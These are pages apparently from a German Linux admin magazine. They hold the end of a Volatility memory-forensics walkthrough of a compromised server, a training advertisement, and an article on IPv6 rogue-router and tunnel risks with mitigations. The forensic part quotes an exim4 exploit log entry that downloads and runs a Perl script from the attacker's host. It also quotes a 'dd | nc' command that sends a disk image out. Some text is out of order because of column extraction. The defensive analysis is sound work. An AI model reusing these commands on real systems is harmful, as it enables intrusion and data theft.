Scudette auch Zip-Archive, die aus einer 

»vtypes«-Datei und der »System.map« des 

Kernels bestehen, jedoch ließ sich damit 

das kompromittierten Linux-System nicht 

fehlerfrei analysieren. Deshalb ist es an 

dieser Stelle notwendig, nachträglich ein 

neues Profil zu erstellen. 

Session starten 

Um das Analyse-Framework zu starten, 

muss das Python-Skript »vol.py« in der 

Konsole aufgerufen werden. Daraufhin 

wird eine ipython-Shell geladen, die als 

Benutzerschnittstelle dient. Außerdem 

generiert Volatility beim Start ein Session- 

Objekt. Dieser Session übergibt man das 

Speicherabbild, das Kernelprofil und die 

Information, ob es sich um ein 32- oder 

64-Bit-Linux-System handelt. Die entsprechenden 

Angaben dienen als globale 

Parameter und werden bei jedem Aufruf 

standardmäßig an die Analyseplugins 

Das Tool »netcat« wird typischerweise 

zum Übertragen von Daten über das 

Netzwerk verwendet. Deshalb besteht 

der nächste logische Schritt aus der Anzeige 

der aktiven Netzwerkverbindungen. 

Abbildung 4 zeigt die aktiven Netzwerkverbindungen 

des Systems. Für die 

Analyse wird jedoch der ursprüngliche 

Branch »linux‐support« von Volatility für 

Linux verwendet, da das »netstat«-Plugin 

noch nicht im Branch Scudette implementiert 

ist. 

Wie man der Auflistung entnehmen 

kann, gibt es mehrere Verbindungen 

vom betroffenen System zu der IP-Adresse 

»192.168.56.1«. Zudem handelt es 

sich bei den Ports »4444« und »8888« um 

keine regulären Netzwerkdienste. Es liegt 

die Vermutung nahe, dass es sich um 

die IP-Adresse des Angreifers handeln 

könnte und dieser mithilfe von »netcat« 

versucht hat, Daten auf das System zu 

übertragen oder abzuziehen. 

Die bisher gewonnenen Informationen 

lassen darauf schließen, dass es sich um 

einen erfolgreichen Angriff gehandelt 

hat. Deshalb soll im nächsten Schritt 

festgestellt werden, wie der Angreifer in 

das System eingedrungen ist. Dazu ist es 

sinnvoll, die Log-Dateien der Prozesse 

zu betrachten, die über das Netzwerk 

erreichbar sind. 

Der Mail Transfer Agent »exim4« speichert 

seine Log-Datei im Verzeichnis »/ 

var/log/exim«. Betrachtet man die Log- 

Datei »mainlog«, so findet man mehrere 

verdächtige Einträge: Der Log-Eintrag in 

Listing 1 zeigt beispielsweise den Verübergeben. 

Somit müssen diese Informationen 

nicht jedes Mal neu angegeben 

werden. Nun ist es möglich, den Arbeitsspeicher 

mithilfe von Volatility forensisch 

zu analysieren. Als Erstes kann man Informationen 

über das betroffene Linux 

System sammeln. Beispielsweise gibt das 

Plugin »cpuinfo« aus, welcher Prozessor 

verbaut war. Mit »ifconfig« kann die IP- 

Adresse des betroffenen Systems ermittelt 

werden. Abbildung 2 zeigt den kompletten 

Vorgang. 

Was lief denn da? 

Volatility ermöglicht die Auflistung aller 

Prozesse, die zum Zeitpunkt der Speicherakquise 

liefen. Dafür wird das Plugin 

»pslist« verwendet. Aufruf und Ausgabe 

dieses Plugins werden in Abbildung 3 

gezeigt. Anhand der Prozesse kann ein 

Forensiker erkennen, ob ein Angreifer 

einen für das System untypischen Prozess 

gestartet hat. Beispielsweise könnte 

auf dem System ein weiterer SSH-Server 

laufen, der dem Angreifer als Hintertür 

dient. Zwar ist es auch möglich, diese Informationen 

direkt am laufenden System 

abzurufen, jedoch könnte sich auf dem 

zu untersuchenden System ein Rootkit 

Abbildung 3: Das Plugin pslist zeigt alle Prozesse an, die zum Zeitpunkt der Speicherakquise auf dem 

betroffenen System liefen. 

befinden, das diesen Prozess und somit 

die Hintertür versteckt. Vor der externen 

Analyse des Arbeitsspeichers kann das 

Rootkit jedoch nichts verstecken. 

Betrachtet man die Ausgabe der Prozesse, 

so erkennt man, dass ein SSH- 

Server und der Mail Transport Agent 

»exim4« auf dem Linux-System liefen. 

Zudem waren mit »memdump« und »nc« 

(netcat) zwei eher untypische Prozesse 

aktiv. Bei »memdump« handelt es sich 

um ein Werkzeug, welches früher zur 

Speicherakquise verwendet wurde. Dies 

verdeutlicht, dass auch die Aktivitäten 

des Forensikers am laufenden System 

Spuren hinterlassen. 

Offene Verbindungen 


Admin 


37

Security 


Abbildung 4: Mithilfe von linux_netstat konnten im ursprünglichen Volatility alle aktiven Netzwerkverbindungen 

aufgelistet werden. Das Analyseplugin ist noch nicht in der neuen Codebasis verfügbar. 

such des Angreifers, eine E-Mail mit 

Shell-Befehlen an den Dienst »exim4« zu 

schicken. Ziel ist das Herunterladen und 

Ausführen der Datei »c.pl«. Untersucht 

man die restlichen verdächtigen Einträge, 

so stellt man fest, dass eine E-Mail erfolgreich 

verarbeitet wurde. Dabei ist die 

Datei »rk.tar« nachgeladen und ausgeführt 

worden. 

Basierend auf den Informationen aus der 

Log-Datei, stößt man bei der Recherche 

nach Angriffsmöglichkeiten für »exim4« 

auf die Schwachstelle »CVE‐2010‐4344«. 

Diese erlaubt es einem Angreifer, unter 

Ausnutzung eines Heap-Buffer-Overflows, 

beliebige Kommandos auf dem 

Zielsystem auszuführen. 

Was lief ab? 

Zuletzt ist es interessant herauszufinden, 

welches Ziel der Angreifer verfolgt hat. 

Die Verwendung von »netcat« zeigt, dass 

der Angreifer Kommandos auf dem betroffenen 

System eingegeben hat. Deshalb 

sollte die Shell-History der Benutzer 

des Systems untersucht werden. Die 

Zeile »dd if=/dev/sda1 | nc 192.168.56.1 

4444« in der Datei »/root/.bash_history« 

offenbart, dass der Angreifer versucht 

hat, die Festplatte mit dem Werkzeug 

»dd« zu kopieren und mittels »nc« auf 

seinen Rechner zu übertragen. 

Listing 1: Log-Eintrag 

01 2011‐02‐06 15:08:13 H=(abcde.com) 

02 [192.168.56.101] temporarily rejected MAIL 

Dieses Beispiel zeigt, wie man mithilfe 

der Arbeitsspeicheranalyse erste Erkenntnisse 

über einen möglichen Angriff gewinnen 

kann. Im Zusammenspiel mit 

der klassischen Festplatten-Forensik beschleunigt 

dies den investigativen Prozess 

ungemein, da der Forensiker weiß, 

wo er gezielt nach weiteren Spuren suchen 

muss. Dagegen reicht eine alleinige 

Analyse des flüchtigen Speichers selten 

aus, um eine erfolgreiche Kompromittierung 

des Systems festzustellen. 

Fazit 

Stand in den letzten Jahren die Speicheranalyse 

von Windows-Systemen im 

Vordergrund, so kann man mittlerweile 

erkennen, dass sich immer mehr Forensiker 

mit der Analyse von Linux-Systemen 

beschäftigen. Ein Grund dafür ist 

die zunehmende Verbreitung von Linux 

auf Servern und mobilen Geräten. Somit 

rücken diese Systeme auch immer stärker 

in den Fokus der Angreifer. Des Weiteren 

lässt sich mithilfe der Arbeitsspeicheranalyse 

die Bearbeitung eines Vorfalls 

deutlich beschleunigen. Aber auch nicht 

persistente Malware kann damit identifiziert 

werden, was mit der traditionellen 

Festplatten-Forensik nicht möglich ist. 

Vor allem das Volatility Framework wird 

stetig um neue Funktionen erweitert und 

03 : failed to expand ACL string "pl 192.168.56.1 4444; sleep 1000000'"}} 

04 ${run{/bin/sh ‐c "exec /bin/sh ‐c 'wget http://192.168.56.1/c.pl ‐O /tmp/c.pl;perl /tmp/c.pl 

192.168.56.1 4444; sleep 1000000'"}} 

05 ${run{/bin/sh ‐c "exec /bin/sh ‐c 'wget http://192.168.56.1/c.pl ‐O /tmp/c.pl;perl /tmp/c.pl 

192.168.56.1 4444; sleep 1000000'"}} 

stellt ein wertvolles Werkzeug zur Speicheranalyse 

unter Linux dar. War es bis 

vor Kurzem nur möglich, 32-Bit-Systeme 

zu untersuchen, so werden jetzt auch 

64-Bit-Betriebssysteme unterstützt. Dies 

ist eine sehr wichtige Neuerung, da die 

Anzahl der 64-Bit-Systeme kontinuierlich 

zunimmt. Trotzdem fehlen noch einige 

Funktionen, die in naher Zukunft verfügbar 

sein sollen. Beispielsweise fehlt 

die Unterstützung der ARM-Architektur, 

die für die Untersuchung von Android 

Smartphones nötig ist. Aber auch die 

Analyseplugins aus dem ursprünglichen 

Branch »linux‐support« wurden noch 

nicht komplett in die neuen Codebasis 

mit aufgenommen. (jcb) 

n 

Infos 

[1] D. Brezinski, T. Killalea: „Guidelines for 

Evidence Collection and Archiving“, RFC 

3227 02/2002 

[2] grugq: „Remote Code execution without 

creating a file on disk“, Phrack 62 07/ 

2004 

[3] The Coroner’s Toolkit: [http:// www. 

porcupine. org/ forensics/ tct. html] 

[4] A. Lineberry: „Malicious Code Injection 

via /dev/mem“, BlackHat Europe 03/2009 

[5] fmem: [http:// hysteria. sk/ ~niekt0/ 

fmem/] 

[6] crash: [http:// people. redhat. com/ 

anderson/ crash_whitepaper/] 

[7] Volatility: [http:// www. volatilesystems. 

com/ default/ volatility] 

[8] J. Sylve: „Acquisition and analysis of 

volatile memory from android devices“, 

Digital Investigation 8/2012, S. 177 

[9] LiME: [http:// code. google. com/ p/ 

lime‐forensics/] 

[10] DFRWS Challenge 2008: [http:// www. 

dfrws. org/ 2008/ challenge/ index. shtml] 

[11] Draugr: [http:// code. google. com/ p/ 

draugr/] 

[12] Volatilitux: [http:// code. google. com/ p/ 

volatilitux/] 

[13] T. Dirro, P. Greve, R. Kashyap, D. Marcus, 

F. Paget, C. Schmugar, J. Shah, A. Wosotowsky: 

„McAfee Threads Report: Second 

Quarter 2011“, 09/2011 

[14] Volatility: [http:// code. google. com/ p/ 

volatility/] 

[15] Honeynet Project Challenge 7 of the 

Forensic Challenge 2011: [http:// www. 

honeynet. org/ challenges/ 2011_7_compromised_server] 


Linux-Magazin 

ACADEMY 

... wir qualifizieren Ihre Mitarbeiter! 

IT Trainings Online 

Linux und Open Source 

Nutzen Sie die Vorteile 

der Linux-Magazin Academy! 

✓ 

✓ 

✓ 

✓ 

✓ 

Kompetent: Unsere Dozenten sind ausge wiesene 

Profis mit lang jähriger Schulungserfahrung. 

Flexibel: Der Schulungsteilnehmer lernt, wann, 

wo und sooft er möchte. 

Kosteneffizient: Nutzen Sie Einsparungen 

gegenüber Vor-Ort-Schulungen. 

Übersichtlich: Die komfortable Web- Oberfläche 

zeigt gleich zeitig den Trainer und dessen 

Arbeitsfläche 

Individuell: Jeder Teilnehmer folgt seinem eigenen 

Lerntempo. 

Trainingspakete: 

• LPIC-1-Training 

LPIC-2-Training 

IT-Sicherheit Grundlagentraining 

• WordPress 3.0 

OpenOffice – Arbeiten mit Vorlagen 

Was Teilnehmer über die 

Linux-Magazin Academy sagen: 

„Mit den Videos haben Sie ins Schwarze 

getroffen. Es gibt nichts Vergleichbares.“ 

„Eine hervorragende Anleitung zum 

praktischen Arbeiten.“ 

Testen Sie unsere Demovideos: 

academy.linux-magazin.de/demo 

Präsentiert von: 

www.linux-magazin.de 

www.lpi.org 

www.linuxhotel.de 

Weitere Infos: academy.linux-magazin.de

Security 

Unmanaged IPv6 

© Stanislaw Tokarski, 123RF 

Unbeachtete IPv6-Features gefährden das LAN 

Die Pflichten 

des Protokolls 

Langsam aber sicher etabliert sich IPv6 im IT-Alltag, und alle modernen Betriebssysteme von Windows über 

MacOS X bis zu Linux haben es an Bord. Doch Vorsicht: Wer die IPv6-Einführung dem Selbstlauf überlässt, erlebt 

unter Umständen unangenehme Überraschungen. Egon Grünter, Werner Anrath, Sabine Werner 

Im Jahr 1995 wählte die Internet Engineering 

Task Force (IETF) IPv6 als Nachfolger 

für IPv4 aus. Anfangs war das noch 

kein vielbeachtetes Thema. Das änderte 

sich erst, als Microsoft Windows Vista 

und die Windows-Server-Plattformen im 

Jahr 2007 mit IPv6-Unterstützung ausstattete. 

Linux in all seinen Varianten 

und Apples MacOS X zogen nach, und 

so verbreitete sich das neue Protokoll 

mit jeder neuen Installation. Bei allen 

diesen Rechner ist IPv6 heute per Default 

aktiv. Diese Rechner kommunizieren im 

Dual-Stack-Betrieb unaufgefordert auch 

über IPv6. Darüber hinaus verwenden 

Mirosofts Betriebssysteme sogenannte 

Transition Technologies, die quasi IPv4 

als Link-Layer-Protokoll für IPv6 nutzen. 

Das passiert im Selbstlauf und zum Teil 

lange, bevor Admins den regulären IPv6- 

Betrieb organisieren. Und genau darin 

steckt eine latente Bedrohung. 

Wer ist wie weit? 

Im LAN werden Microsoft Betriebssysteme, 

Linux und Apples OS X am häufigsten 

verwendet. Sie alle setzen IPv6 

parallel zum IPv4-Protokoll ein. Dabei ist 

IPv6 standardmäßig aktiviert und aktiv – 

die Systeme kommunizieren im Netzwerk 

per Dual-Stack-Betrieb (Abbildung 1). Die 

folgende Übersicht zeigt die Standardeinstellungen 

aktueller Betriebssystemvarianten: 

Windows Vista / 7 / 2008 

n IPv6 installiert und aktiv 

n Stateless Address Autoconfiguration 

aktiv (RFC 2462 / RFC 4862) 

n IPv6 Stack: zahlreiche Verbesserungen 

(Dual Layer) 

n GUI-, CLI- and GPO2-Konfiguration 

n Integrated Internet Protocol Security 

(IPsec) verfügbar 

n Privacy Extensions (RFC 3041 /RFC 

4941) aktiv 

n DNS-Unterstützung 

n Source and Destination Address Selection 

(RFC 3484) 

n DHCPv6-Client aktiv 

n Link-Local Multicast Name Resolution 

(LLMNR) 

n Transition Technologies (Tunnel) aktiv 

n Windows Firewall ist IPv6-fähig, Stateful 

Inspection 

Linux 



aktiv (RFC 2462 / RFC 4862) 

n GUI- und CLI-Konfiguration 

n Privacy Extensions (RFC 3041 / RFC 

4941) optional 

n DNS-Unterstützung 


(RFC 3484) 

n DHCPv6-Client optional 

n Multicast-DNS 

n Transition Technologies (Miredo) optional 

n Firewall: ip6tables, Stateful Inspection 

ab Kernel 2.6.20 

Mac OS X 



(RFC 2462 / RFC 4862) 

n GUI- und CLI-Konfiguration möglich 

n Privacy Extensions (RFC 3041 / RFC 

4941) optional, ab 10.7 aktiv 


(nach RFC 3484), dabei ist die 

administrative Schnittstelle nicht vorhanden 

n DHCPv6 ab 10.7 

n Multicast-DNS-Unterstützung 

n Transition Technology (6to4) optional 

n rDNS (RFC5006) ab 10.7 

n Firewall: ip6fw – aber kein Konfigurationsmenü 

/ Standardeinstellung: 

accept 



Security 

Die iOS-Versionen für iPhone 

und iPad haben im Auslieferungszustand 

ebenfalls das 

IPv6-Protokoll aktiviert. Gleiches 

gilt für Smartphones und 

Tablet-PCs auf Android-Basis. 

In beiden Welten steht dem 

Benutzer allerdings keine administrative 

Schnittstelle zur 

Anpassung der IPv6-Konfiguration 

zur Verfügung. 

Autokonfiguration 

RFC 2462 „IPv6 Stateless 

Address Autoconfiguration“ 

[1] beschreibt innerhalb des im LAN aktiv. 

IPv6-Standards die Stateless 

Address Autoconfiguration (SLAAC). Die 

Implementierung dieser Technik ist für 

jeden Host verpflichtend. Weitere Methoden 

sind optional und können das 

jeweilige Host-Interface mit weiteren 

IPv6-Adressen konfigurieren. Bei der Initialisierung 

eines LAN-Interfaces werden 

folgende vom RFC 2462 vorgesehenen 

Stufen durchlaufen: 

1. Link-Local Address (EUI-64 IID oder 

Pseudozufallszahl) generieren 

2. Neighbor Solicitation (NS) für Duplicate 

Address Detection (DAD) senden 

3. Autoconfiguration abbrechen, falls ein 

Neighbor Advertisement (NA) einen Adresskonflikt 

anzeigt 

4. Router Solicitation (RS) senden 

5. Falls kein Router Advertisement (RA) 

empfangen wird, starte DHCPv6 

6. Falls ein Router Advertisement (RA) 

empfangen wird: 

6.1. generiere Adressen für die enthaltenen 

Prefixe; danach DAD 

Abbildung 1: Bei aktuellen Betriebssystemen ist IPv6 ist neben IPv4 per Default 

6.2. falls M-Flag == 1 im Router Advertisement 

(RA): 

6.3. starte DHCPv6, um weitere Adressen 

und Parameter zu erhalten 

6.4. falls M-Flag == 0 und O-Flag == 1 

im Router Advertisement (RA): 

6.5. starte DHCPv6, um weitere Konfigurationsparameter 

zu erhalten (etwa 

DNS-Server) 

Dieser Autoconfiguration-Prozess im lokalen 

Netz hat verschiedene Schwachstellen, 

die sich, wenn der Admin sie 

nicht zusätzlich absichert, sowohl böswillig 

als auch unbeabsichtigt ausnutzen 

lassen. Dadurch sind lokale Netzteilnehmer 

gefährdet, lange bevor ein regulärer 

IPv6-Betrieb aufgenommen wird. 

Das größte Gefährdungspotenzial geht 

dabei von sogenannten Rogue Routern 

aus. Rogue Router manipulieren in böswilliger 

oder unbeabsichtigter Weise die 

Kommunikation des lokalen Link. Durch 

Senden einer initialen Router Solicitation 

(Abbildung 2) an die Link Local 

Multicast Address FF02::2 

versuchen Hosts, im Rahmen 

der Stateless Address Autoconfiguration 

unternehmensweit 

oder weltweit gültige 

IPv6-Prefixe zu erhalten, die 

mit einem Interface Identifier 

zu einer vollständigen 128 Bit- 

IPv6-Adresse verknüpft werden. 

Damit ist die Kommunikation 

über Subnetzgrenzen 

hinweg möglich. Auf die gesendete 

Anfrage antwortet 

im Normalfall der reguläre 

IPv6-Router, indem er an die 

Link Local Multicast Adresse 

FF02::1 (All Nodes) ein Router 

Advertisement (Abbildung 3) sendet. 

Im Payload trägt diese Nachricht alle am 

lokalen Subnetz gültigen IPv6-Prefixe 

und weitere Flags, die eine granulare 

Konfiguration ermöglichen. Die Router- 

Advertisement-Nachricht wird außerdem 

periodisch wiederholt. 

Rogue Router 

Wird nun ein Rogue Router aktiv und 

sendet dieser ebenfalls an die Multicast- 

Gruppe FF02::1 ein Router Advertisement 

(Abbildung 4), wird die Netzwerkkonfiguration 

der Hosts manipuliert, sodass 

die IP-Adressen und Routingtabellen 

nicht den administrativen Vorgaben entsprechen. 

Dieses Szenario findet sich in 

der Praxis häufig, da Technologien wie 

Windows Internet Connection Sharing 

(ICS), Software Router in Linux-Derivaten 

(»radvd«) oder diverse Tools aus 

bekannten Werkzeugsammlungen im 

Abbildung 2: Ein Host versucht, durch Senden einer initialen Router-Solicitation 

eine weltweit gültige IPv6-Adresse zu erhalten. 

Abbildung 3: Im Normalfall antwortet ein regulärer Router auf die Anfrage, indem 

er ein Router Advertisement verschickt. 


Admin 


41

Security 


Tabelle 1: Auswahl nach RFC 3484 

Precedence Label Prefix Beschreibung 

50 0 ::1/128 Loopback 

40 1 ::/0 IPv6-Adressen 

30 2 2002::/16 6to4 Adressen 

20 3 ::/96 IPv4 kompatible Adressen (veraltet) 

10 4 ::ffff:0:0/96 IPv4 Adressen (mapped) 

5 5 2001::/32 Teredo 

Abbildung 4: Ein Rogue Router bringt ebenfalls Router Advertisements in Umlauf, 

die Hosts im LAN verwenden, um daraus IPv6-Adressen für sich zu bilden. 

Internet Router Advertisements (RAs) 

an die lokalen Kommunikationspartner 

ohne großen manuellen Aufwand verteilen. 

Werden diese Aktivitäten nicht überwacht, 

etabliert sich der Rogue Router als 

IPv6 Default Gateway. Darüber hinaus 

kann er über bestimmte Flags im Router 

Advertisement die DNS-Konfigurationen 

der Hosts kontrollieren. 

DNS und LLMNR 

Anwendungen verwenden in der Regel 

eine Resolver Library die zum RFC 3484 

[2] kompatibel ist („Default Address Selection 

for Internet Protocol version 6 

(IPv6)“). Aufgrund der selbstverständlichen 

Nutzung von IPv4 und der unbewussten 

IPv6-Nutzung ergeben sich 

Wechselwirkungen mit den Personal 

Firewalls auf den jeweiligen Endsystemen 

sowie mit dem Netzwerkmonitoring, da 

diese Sicherungsmaßnahmen aktuell auf 

IPv4 fokussiert sind. 

Abbildung 5 zeigt einen Wireshark Mitschnitt 

der Auflösung des Host-Namens 

„ibm-r52“ mithilfe des Link Local Multicast 

Name Resolution Protocols (LLMNR). 

Liefert die DNS-Auflösung keine IP-Adresse, 

wird LLMNR in neueren Microsoft 

Betriebssystemen als Ergänzung genutzt. 

Da Source und Destination Address dem 

Link-Local-Scope (fe80::/10) zuzuordnen 

sind, ist das Übertragungsprotokoll IPv6. 

Die Tatsache, dass IPv6 aktiviert ist und 

LLMNR eine Namensauflösung liefert, 

hat zur Folge, dass die anstehenden 

Nachrichten nun auch über IPv6 transportiert 

werden. 

Im schon erwähnten RFC 3484 ist die 

Implementierung einer administrativen 

Schnittstelle zur Steuerung des bevorzugten 

Netzwerkprotokolls 

und der 

Adressauswahl im 

jeweiligen Host- 

Betriebssystem gefordert. 

Microsoft-Administratoren können 

diese Policy über Netsh-Befehle ändern. 

Linux-Admins editieren die Datei »/ 

etc/gai.conf«. Lediglich Apple entspricht 

mit seinem OS X nicht der Forderung 

des RFC. 

Die Auswahlkriterien werden wie in Tabelle 

1 zeilenweise definiert und dargestellt. 

Einer Adresse wird dabei im Auswahlprozess 

nach RFC 3484 die Zeile 

mit der bestmöglichen Übereinstimmung 

(Prefix) zugeordnet. 

Die Spalte »Precedence« gibt einer IPv6 

Global Unicast-Adresse den Wert 40, der 

IPv6 Loopback Address den Wert 50. 

Platzhalter für mögliche IPv4-Adressen 

ist der Eintrag ::ffff:0:0/96 mit der Precedence 

10. Aufgrund der höheren Precedence 

wird IPv6 bevorzugt. Dabei werden 

Source Address und Destination Address 

möglichst so ausgewählt, dass der Gültigkeitsbereich 

(Global oder Link Local) 

übereinstimmt. Die Spalte »Label« steuert 

die Zuordnung einer Source Address zu 

einer Destination Address, falls mehrere 

Adressen zur Auswahl stehen. 

Wie bereits weiter oben erwähnt, haben 

die im Router Advertisement gesetzen 

Flags direkten Einfluss auf die DNS- 

Konfiguration der Hosts. Abbildung 6 

zeigt ein Router Advertisement, in dem 

das gesetzte »OTHER«-Flag signalisiert, 

weitere Konfigurationsparameter mittels 

Stateless DHCPv6 zu suchen. So kann die 

DNS-Konfiguration eines Hosts gesteuert 

beziehungsweise manipuliert werden. Alternativ 

bietet dazu der RFC 5006 [3] als 

neuere Methode an, den DNS-Server im 

Router Advertisement bekanntzugeben 

(Option Recursive DNS Server). Allerdings 

kann so ein potenzieller Angreifer 

mittels der beschriebenen Techniken die 

reguläre DNS-Infrastruktur umgehen. 

Das gilt sowohl für die Abbildung der 

Host-Namen auf IPv4-Adressen als auch 

auf IPv6-Adressen. 

In der Microsoft-Welt kann dann wegen 

der dynamischen DNS-Updates im Active 

Directory und der weiter unten vorgestellten 

6to4-Tunnel ungewollt die Kommunikation 

über IPv6 erfolgen. 

Weitere latente Gefährdungen werden 

durch die von Microsoft automatisch 

Abbildung 5: Mitschnitt der Auflösung eines Hostnamens mithilfe des Link Local Multicast Name Resolution 

Protocols. 



Security 

aktivierten Tunneltechnologien wie ISA- 

TAP, 6to4 und Teredo in die Kommunikationsnetze 

getragen. Unübersehbar 

sind die intensiven Wechselwirkungen 

zwischen IPv6 und dem etablierten Vorgänger 

IPv4, da alle Tunneltechnologien 

IPv6-Datenverkehr in IPv4 tunneln (Abbildung 

7). Damit wird IPv4 zur Link- 

Layer-Technologie. 

Transition Technologies 

Im Folgenden sollen diese Tunnelmechanismen 

kurz beschrieben werden. 

Intra-Site Automatic Tunnel Addressing 

Protocol (ISATAP) wird von Microsoft- 

Betriebssystemen bevorzugt, wenn keine 

native IPv6-Konfiguration innerhalb des 

SLAAC-Prozesses ermittelt wurde. Eine 

wichtige Rolle spielt der ISATAP-Router, 

der im IPv4-Netz kontaktiert wird. Den 

wesentlichen Schritt bildet dabei die Auflösung 

des Host-Namens »isatap« in eine 

gültige IPv4 Router-Adresse. Danach werden 

über Router Solicitation und Router 

Advertisements die notwendigen IPv6- 

Initialisierungsschritte durchlaufen. Ein 

wichtiger Unterschied ist aber, dass diese 

IPv6-Initialisierung als IPv4-Unicast (IP- 

Protokoll 41) im Netzwerk übertragen 

wird. Danach sind ISATAP-Hosts adjazent 

(benachbart) zu allen nativen IPv6- 

Netzen. 

Falls weder SLAAC noch ISATAP eine 

erfolgreiche IPv6-Konnektivität herstellen, 

wird 6to4 als Tunneltechnologie 

ausgewählt. Jeder Host eines Intranets 

mit offiziellen IPv4-Adressen (Class A/ 

B/C) kann eine 6to4-Adresse generieren. 

Sie setzt sich zusammen aus dem Prefix 

2002::/16 und der offiziellen IPv4-Adresse 

des Hosts. Damit sind alle Hosts in 

einem Intranet lokal adjazent und haben 

zudem über das IPv4-Protokoll 41 Zugriff 

auf das weltweite IPv6-Netz. Zentrale Sicherheitsmaßnahmen, 

wie zum Beispiel 

Firewalls, die den Transport dieses Protokolls 

nicht unterbinden, sind somit 

auch nicht in der Lage, die Sicherheit 

des Netzes in ausreichendem Maße zu 

gewährleisten. Welches zusätzliche Potenzial 

in diesem Mechanismus steckt, 

zeigt die Kombination aus Internet Connection 

Sharing (ICS) und 6to4: Aktiviert 

ein Windows Benutzer ICS, wird das System 

zum 6to4-Host-Router und verteilt 

im lokalen Netz Router Advertisements, 

Weil den IPv6-Basiskonzepten Sicherheitsvorkehrungen 

fehlen, ergeben sich 

die beschriebenen Gefährdungen, denen 

der Admin durch adäquate Maßnahmen 

entgegengewirken muss. Das Dokument 

[5] fordert zwingend, dass Layer 2 Switwodurch 

dieses System zum aktiven IPv6 

Router im lokalen Netz wird, der eine 

Verbindung zwischen Intranet und Internet 

herstellen kann. 

Teredo und Miredo 

Die Last Resort Transition Technology ist 

im RFC 4380 „Teredo: Tunneling IPv6 

over UDP through Network Address 

Translations (NATs)“ [4] beschrieben. 

Als Open-Source-Lösung steht das Paket 

Miredo zur Verfügung. Ist explizit eine 

IPv6-Zieladresse spezifiziert, so werden 

mit externen Servern sogenannte Bubble- 

Packets ausgetauscht, die wiederum die 

notwendigen Portöffnungen in den NAT- 

Geräten verursachen. Damit sind die 

Hosts als IPv6-System erreichbar, und 

NAT ist keine Barriere mehr zwischen 

Internet und lokalem Netz. Die Übertragung 

im lokalen IPv4 Netz erfolgt als 

UDP-Datagram über Port 3544. Durch 

die in der Client-IPv6-Adresse kodierten 

IPv4-Informationen (IPv4-Adresse des 

Servers / NAT-Typ / Externer IPv4 Port / 

Externe IPv4-Adresse) kann der bidirektionale 

Verkehrsfluss mittels IPv4-UDP 

vom Client über ein Relay zum externen 

IPv6-Rechner ermöglicht werden. Kollaborative 

Filesharing-Protokolle können 

den Teredo-basierten Transfer nutzen. 

Neben diesen Mechanismen bieten Tunnel 

Broker (SixXS, Hurricane Electric) weitere 

Möglichkeiten der IPv6-Anbindung. 

Die Übertragungsvarianten basieren oftmals 

auf UDP oder 6in4, um einen Relay 

des jeweiligen Anbieters zu erreichen. 

Innerhalb eines Unternehmensnetzwerks 

besteht die Gefahr, dass unbedarfte Anwender 

Verbindungen des lokalen Netzes 

zum weltweiten IPv6-Internet herstellen. 

Die Tunnel-Broker weisen in der Regel 

nach einer Registrierung dem Kunden 

großzügig IPv6-Prefixe zu. Diese können 

wiederum durch einen Rogue Router im 

lokalen Netz verteilt werden und mit den 

global gültigen Adressen lässt sich weltweit 

im IPv6-Netz kommunizieren. 

Die Tunnelmechanismen zeigen deutlich, 

dass durch die Übertragung in IPv4 die 

Kommunikationsbeziehungen nur schwer 

zu analysieren sind. Punkt-zu-Punkt-Verbindungen 

sind auch im Regelwerk einer 

Firewall deshalb neu zu bewerten, da 

ungewollt weltweite Adjazenzen gebildet 

werden, die eine etablierte Sicherheitspolicy 

untergraben. Treffen verschiedene 

Bedingungen wie eine nicht administrierte 

Namensauflösung, fehlkonfigurierte 

Hosts mit Windows ICS und eine 

nur auf IPv4 ausgerichtete Firewall-Policy 

aufeinander, können die Folgen gravierend 

sein. Einen Gipfelpunkt stellt dabei 

das Potenzial eines MitM-Angriffs durch 

ungewollte oder absichtliche Verkehrsumleitungen 

dar. 

Lösungen 

Abbildung 6: Das Router Advertisement mit gesetztem OTHER-Flag beeinflusst direkt die DNS-Konfiguration 

eines Hosts. 


Admin 


43

Security 


natives IPv6-Deployment erfolgt. Ansonsten 

ist für die Microsoft Betriebssysteme 

die Deaktivierung dieser Technologien 

zu empfehlen. Der System-Administrator 

führt dazu folgenden Befehle aus: 

netsh interface ipv6 6to4 U 

set state disabled undoonstop=disabled 

netsh interface ipv6 isatap U 

set state disabled 

netsh interface ipv6 set teredo U 

disable 

Abbildung 7: Automatisch aktivierte Tunnel-Technologien verpacken IPv6 in IPv4. 

ches Router Advertisements filtern können. 

Erste Erfahrungen zeigen, dass auch 

führende Hersteller diese Funktion leider 

nur in neuesten Hard- und Software-Versionen 

unterstützen. Falls Layer-2-Devices 

pro Port eine Zugriffskontrollliste schalten 

können, so ist das eine effektive Maßnahme 

gegen Rogue Router und Rogue 

DHCPv6-Advertisements. Der RFC 6104 

„Rogue IPv6 RA Statement“ [6] liefert 

eine umfassende Zusammenstellung der 

Problematik. Aktuell arbeiten die Hersteller 

an Lösungen, die unter dem Stichwort 

First-Hop-Security die Stateless Address 

Autoconfiguration absichern. Unverzichtbar 

sind in Zukunft Funktionen wie IPv6 

RA Guard, IPv6 ND Inspection und Device 

Tracking. 

Gegenwehr 

Listing 1: IPv6-Einstellungen im AD 

01 Enable all IPv6 components (Windows default) 

02 Disable all IPv6 components 

03 Disable 6to4 

04 Disable ISATAP 

05 Disable Teredo 

06 Disable Teredo and 6to4 

07 Disable all tunnel interfaces 

08 Disable all LAN and PPP interfaces 

09 Disable all LAN, PPP and tunnel interfaces 

10 Prefer IPv4 over IPv6 

Das Tool Ramond (University of Southhampton) 

kann Router Advertisements 

als Antwort auf Rogue Router Advertisements 

generieren, die die Konfigurationsparameter 

aus der Stateless Address 

Autoconfiguration (SLAAC) verwerfen. 

Dazu müssen Router und Preferred Lifetime 

im RA den Wert Null haben. Natürlich 

sind alle Adressen (Layer 2 und 

Layer 3) in diesem Advertisement vorgetäuscht 

(spoofed). Empfängt ein Host ein 

solches Router Advertisement, verwirft 

er die dazugehörigen IPv6-Adressen und 

Routing-Einträge. Die im vorhergehenden 

Abschnitt beschriebenen Zugriffskontrolllisten 

verhindern eine böswillige 

Nutzung des Tools. 

In Subnetzen, die lediglich IPv4-Funktionalität 

haben, kann ein NDPMON-Server 

installiert werden. Dieser Neighbor Discovery 

Monitor führt eine Historie über 

die Zuordnung von RFC-3041-IPv6-Adressen 

und Mac-Adressen und kann unter 

anderem über empfangene Rogue Router 

Advertisements informieren. 

Personal Firewalls sollten entsprechend 

den Empfehlungen des RFC 4890 „Recommendations 

for Filtering ICMPv6 

Messages in Firewalls“ [7] konfiguriert 

werden. Unter den Microsoft Betriebssystemen 

